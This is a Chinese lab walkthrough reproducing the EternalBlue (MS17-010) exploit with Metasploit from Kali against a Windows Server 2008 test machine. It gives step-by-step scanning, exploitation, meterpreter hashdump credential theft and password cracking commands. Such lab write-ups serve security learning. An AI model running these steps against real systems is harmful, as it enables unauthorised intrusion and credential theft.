kali (永恒之蓝MS17_010)漏洞复现

需要的机子：

渗透机（Linux(kali)一台），靶机（server 2008一台）

需要的环境：

kali,安装msf框架 server 2008,开启445端口

kali安装msf：

apt-get update #安装更新

apt-get install metasploit-framework #安装msf框架

server的配置简单，控制面板 开启445端口

开始复现：

先确认IP是否能ping通

靶机IP：

渗透机ip： 

1.渗透机检测一下是否能ping通 ：

也是能ping通，那就正式开始了

2.使用nmap指定445端口扫描，查看是否开启

nmap -p 445 192.168.0.116

 开启了那就下一步

3.启动msf console界面：

4.search ms17-010   #查看ms17-010可使用的模块

(模块介绍：MS17-010 漏洞利用总结 (leanote.com))

 5.使用辅助模块3（探测目标机器是否有永恒之蓝漏洞）

use 3    #进入模块3，使用模块

set RHOSTS 192.168.0.116     #设置靶机ip为192.168.0.116

run   #开始运行 

检查出来server2008可能存在ms17-010漏洞，那就开始攻击

6.使用攻击模块0，进行攻击（使用永恒之蓝攻击模块）

use 0   #使用0模块

set RHOSOT 192.168.0.116    #设置攻击ip

run    #开始运行

 有WIN字眼时，出现meterpreter，也就是攻击成功了，成功get shell

7.在meterpreter也可以使用很多命令

（meterpreter常用命令大全_凉水沏茶的博客-CSDN博客_meterpreter命令）

(1)攻击成功重要的就是抓哈希了   hashdump  #抓哈希密码

复制冒号后面的哈希密码，去cmd5解密

得到Administrator密码123123

8.在meterpreter进入靶机管理员DOS界面

 拿到管理员权限首先要更改编码格式，不然会乱码

chcp 65001  #更改编码格式 

DOS的命令在这里都可以使用

Dos命令大全完整版_Juniversey的博客-CSDN博客_dos命令大全